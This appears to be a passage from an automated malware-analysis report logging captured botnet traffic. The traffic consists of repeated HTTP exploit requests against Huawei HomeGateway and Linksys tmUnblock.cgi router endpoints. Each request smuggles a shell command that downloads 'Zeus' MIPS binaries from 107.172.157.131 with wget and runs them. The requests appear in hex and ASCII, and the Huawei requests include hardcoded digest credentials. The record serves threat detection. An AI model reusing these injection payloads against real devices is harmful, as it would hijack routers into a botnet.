73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
